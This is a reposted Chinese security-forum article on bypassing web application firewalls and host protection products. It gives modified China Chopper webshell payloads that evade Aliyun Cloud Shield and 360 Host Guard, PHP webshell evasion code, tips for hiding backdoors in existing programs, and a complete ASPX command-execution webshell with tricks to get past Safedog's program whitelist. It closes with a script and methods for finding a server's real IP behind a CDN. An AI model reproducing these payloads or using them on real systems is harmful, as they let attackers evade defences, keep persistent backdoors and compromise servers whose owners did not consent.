搜索
查看: 729|回复: 0

我的WafBypass之道(Misc篇)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-2-17 16:35:58 | 显示全部楼层 |阅读模式
先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。
先知技术社区投稿邮箱:Aliyun_xianzhi#service.alibaba.com;


  • Bypass 菜刀连接拦截
      多数waf对请求进行检测时由于事先早已纳入了像菜刀这样的样本。通常waf对这块的检测就是基于样本,所以过于死板。
  • webshell 免杀
      讲webshell免杀也就直接写写姿势,一些特性功能、畸形语法、生僻函数比如回调等绕过查杀语法,不断变种、变种、变种。。。(混淆太恶心了,将其拿到实战上的人是怎么想的?)
  • Bypass 禁止执行程序
      黑客在进行提权时,主机防护软件安全狗、星外等会进行拦截。原理上都是基于黑白名单进行拦截敏感的程序调用。
  • Bypass CDN查找原IP
      cdn隐藏了原ip,在某种情况上使黑客无法做不正当勾当,那么自然就有各种绕过的方法。在这里附上一些靠谱的姿势和小工具。
0x01 Bypass 菜刀连接拦截
      这里写两个案例,分别稍加修改菜刀的连接原始数据达到Bypass,very simple。证明拦截规则不能写的原样照搬,一个简单的一句话,并基于市面最广的菜刀为样本进行连接:
阿里云盾:
      这个post数据是绝对会被云盾拦截的:
      基于waf专员智力水平,肯定不是简单处理下请求就能绕过的。这里先将请求拆分,分别进行请求看看:
  1. @eval%01(base64_decode($_POST[z0]));
复制代码
   测试发现过滤了eval这个函数,有意思的是eval%01(能被拦截肯定是因为原样照搬了这个菜刀的规则。而且只要在左括号前面插入就不会拦截,也就是:
  1. @eval(base64_decode($_POST[z0]));
复制代码
    接下来就是绕过后面这段base64了,这段base64解密是段调用机器信息的php代码,拦截的有点暴力也很正常。话说回来,发现云盾能够将这段base64一段一段识别的,是智能还是只是基于菜刀的样本?
  1. QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIp  拦截
  2. QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01Ip  不拦截
  3. QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIp  拦截
  4. QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==  拦截
复制代码
      将这段base64三个字符三个字符挨个fuzz发现在%2B前面插入就不会拦截了:
  1. QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2B
复制代码
     所以,因为云盾没匹配到菜刀的样本,只要将%01这样的空字符插对地方的话,就可以绕过了:
  1. a=@eval0x00(base64_decode0x00($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
复制代码
      当然,图方便可以再根据这个绕过规则改下菜刀。
360主机卫士:
      主机卫士对菜刀的请求将直接判断为"AttackType":"Caidao webshell"样本:
      在eval函数前面插入任意urlencode的字符即可绕过:
0x02 webshell免杀
      免杀基于主机防护软件,这里拿安全狗、云锁、主机卫士举个可用的例子:
  1. mb_convert_encoding( $str, $encoding1,$encoding2 )
复制代码
   这个函数用于编码转换的处理,验证下这个函数:
      这个图证明的不够的话再来一个,UTF-16BE、UTF-16LE编码不管中英文的字符每个字符都是占两个字节,那么说回这个函数,支持转换的编码很全的,使用这个函数转换成UTF-16BE看看。
      为了用户体验,主机防护软件对eval这类函数只要不被外部可控就不会被拦截:
  1. $str=1;

  2. @eval($str);
复制代码
    但只要外部可控就会被拦截。
经过处理后即可绕过:
  1. $str=base64_decode("cGhwaW5mbygpOw==");
  2. //$str=base64_decode(base64_encode($_POST['a']));

  3. $str1=mb_convert_encoding($str, "GBK");

  4. @eval($str1);
复制代码
安全狗:
主机卫士:
云锁:
      个人是不会使用这么蠢的后门或者混淆加密什么的,因为开发者后期维护代码时还是有可能被查到的,这里只是举个例子。推荐几个方案就是间接利用程序自身来做后门(改的越少越好/最好不要使用增添新文件的方式):
  1. 利用404页面
  2. 在正常程序中多次调用GET、POST、Cookie的代码里:
  3. //$a=$_POST['a'];
  4. //%b=$_POST['b'];
  5. $a($b); //a=assert&b=phpinfo()
  6. 利用ADS流
  7. 利用.user.ini //wooyun-drops-tips-3424
复制代码
0x03 Bypass 禁止执行程序
      这里以Safedog为例,最新版Safedog IIS 4.0已经不显示禁止IIS执行程序的白名单了:
      找了个之前的版本搬一下白名单列表:
  1. %windows%Microsoft.NET/Framework/v1.1.4322/aspnet_wp.exe
  2. %windows%Microsoft.NET/Framework/v1.1.4322/csc.exe
  3. %windows%Microsoft.NET/Framework/v1.1.4322/vbc.exe
  4. %windows%Microsoft.NET/Framework/v2.0.50727/aspnet_wp.exe
  5. %windows%Microsoft.NET/Framework/v2.0.50727/csc.exe
  6. %windows%Microsoft.NET/Framework/v2.0.50727/vbc.exe
  7. %windows%Microsoft.NET/Framework/v4.0.30319/aspnet_wp.exe
  8. %windows%Microsoft.NET/Framework/v4.0.30319/csc.exe
  9. %windows%Microsoft.NET/Framework/v4.0.30319/vbc.exe
  10. %windows%system32/drwatson.exe
  11. %windows%system32/drwtsn32
  12. %windows%system32/drwtsn32.exe
  13. %windows%system32/vsjitdebugger.exe
  14. C:/Windows/Microsoft.Net/Framework/v3.5/csc.exe
  15. C:/Windows/Microsoft.Net/Framework/v3.5/vbc.exe
复制代码
首先一个执行cmd小马:
  1. <%@ Page Language="C#" Debug="true" Trace="false" %>
  2. <%@ Import Namespace="System.Diagnostics" %>
  3. <script Language="c#" runat="server">

  4. protected void FbhN(object sender,EventArgs e){

  5.     try{

  6.         Process ahAE=new Process();

  7.         ahAE.StartInfo.FileName=path.Value;

  8.         ahAE.StartInfo.Arguments=argm.Value;

  9.         ahAE.StartInfo.UseShellExecute=false;

  10.         ahAE.StartInfo.RedirectStandardInput=true;

  11.         ahAE.StartInfo.RedirectStandardOutput=true;

  12.         ahAE.StartInfo.RedirectStandardError=true;

  13.         ahAE.Start();

  14.         string Uoc=ahAE.StandardOutput.ReadToEnd();

  15.         Uoc=Uoc.Replace("<","<");

  16.         Uoc=Uoc.Replace(">",">");

  17.         Uoc=Uoc.Replace("\r\n","<br>");

  18.         tnQRF.Visible=true;

  19.         tnQRF.InnerHtml="<hr width="100%" noshade/><pre>"+Uoc+"</pre>";

  20.     }catch(Exception error){

  21.         Response.Write(error.Message);

  22.     }

  23. }

  24. </script>

  25. <html>
  26. <head>
  27.   <title>cmd webshell</title>
  28. </head>
  29. <body>
  30.   <form id="cmd" method="post" runat="server">
  31.    <div runat="server" id="vIac">
  32.     <p>Path:<br /> <input class="input" runat="server" id="path" type="text" size="100" value="c:\windows\system32\cmd.exe" /> </p> Param:
  33.     <br />
  34.     <input class="input" runat="server" id="argm" value="/c Set" type="text" size="100" />
  35.     <asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" />
  36.     <div id="tnQRF" runat="server" visible="false" enableviewstate="false">
  37.     </div>
  38.    </div>
  39.   </form>  
  40. </body>
  41. </html>
复制代码
  拦截:
      把白名单的内容做为参数进行执行呢:
      成功绕过,直接封装到webshell参数上更方便:
  1. StartInfo.Arguments=@"/'C:/Windows/Microsoft.NET/Framework/v1.1.4322/vbc.exe' " + argm.Value;
复制代码
      满足这个白名单并使用路径跳转的方式执行程序也可以绕过:
      回首这个白名单,这个基于白名单识别有个缺陷就是并不是完全的匹配,而是前面匹配到了则放过。打个比方:可以利用windows的一个特性将可执行的文件改为.exee,比如我们使用白名单中的vsjitdebugger.exe这个文件名,上传一个名为vsjitdebugger.exee的cmd即可:
0x04 Bypass CDN查找原IP
      由于cdn不可能覆盖的非常完全,那么可以采用国外多地ping的方式,或者多收集一些小国家的冷门dns然后nslookup domain.com dnsserver。
写了个简单的脚本,首先收集好偏门的dns字典,然后轮训一个目标的方式,输出这些dns查询出的不同结果。
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3. #__author__ == Tr3jer_CongRong

  4. import re
  5. import sys
  6. import time
  7. import threading
  8. import dns.resolver

  9. class Bypass_CDN:

  10.     def __init__(self,domain,dns_dict):
  11.         self.domain = domain
  12.         self.myResolver = dns.resolver.Resolver()
  13.         self.dns_list = set([d.strip() for d in open(dns_dict)])
  14.         self.good_dns_list,self.result_ip = set(),set()

  15.     def test_dns_server(self,server):
  16.         self.myResolver.lifetime = self.myResolver.timeout = 2.0
  17.         try:
  18.             self.myResolver.nameservers = [server]
  19.             sys.stdout.write('[+] Check Dns Server %s \r' % server)
  20.             sys.stdout.flush()
  21.             answer = self.myResolver.query('google-public-dns-a.google.com')
  22.             if answer[0].address == '8.8.8.8':
  23.                 self.good_dns_list.add(server)
  24.         except:
  25.             pass

  26.     def load_dns_server(self):
  27.         print '[+] Load Dns Servers ...'
  28.         threads = []
  29.         for i in self.dns_list:
  30.             threads.append(threading.Thread(target=self.test_dns_server,args=(i,)))
  31.         for t in threads:
  32.             t.start()
  33.             while True:
  34.                 if len(threading.enumerate()) < len(self.dns_list) / 2:
  35.                     break
  36.                 else:
  37.                     time.sleep(1)
  38.         print '\n[+] Release The Thread ...'
  39.         for j in threads: j.join()
  40.         print '[+] %d Dns Servers Available' % len(self.good_dns_list)

  41.     def ip(self,dns_server):
  42.         self.myResolver.nameservers = [dns_server]
  43.         try:
  44.             result = self.myResolver.query(self.domain)
  45.             for i in result:
  46.                 self.result_ip.add(str(i.address))
  47.         except:
  48.             pass

  49.     def run(self):
  50.         self.load_dns_server()
  51.         print '[+] Dns Servers Test Target Cdn ...'
  52.         threads = []
  53.         for i in self.good_dns_list:
  54.             threads.append(threading.Thread(target=self.ip,args=(i,)))
  55.         for t in threads:
  56.             t.start()
  57.             while True:
  58.                 if len(threading.enumerate()) < len(self.good_dns_list) / 2:
  59.                     break
  60.                 else:
  61.                     time.sleep(1)
  62.         for j in threads: j.join()
  63.         for i in self.result_ip: print i

  64. if __name__ == '__main__':
  65.     dns_dict = 'foreign_dns_servers.txt'
  66.     bypass = Bypass_CDN(sys.argv[1],dns_dict)
  67.     bypass.run()
复制代码
通过dns历史解析记录查找目标源ip,我推荐使用Rapid7的DNS解析记录库进行检索,毕竟做渗透的聪明人都讲究:“事前早有准备,而不是临阵磨枪”。这里有一份2014.03—2015.10的解析记录放在了百度云
      NS/TXT/MX的dns类型都可以进行检索,基于dns解析hitory还可以使用netcraft.com
服务器主动连接:
  • 在可上传图片的地方利用目标获取存放在自己服务器的图片,或者任何可pull自己资源的点,review log即可拿到。
  • 通过注册等方式让目标主动发邮件过来,此方法对于大公司几率小,因为出口可能是统一的邮件服务器。可以尝试扫其MailServer网段。
0x05 End.



from:https://xianzhi.aliyun.com/forum/read/714.html

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表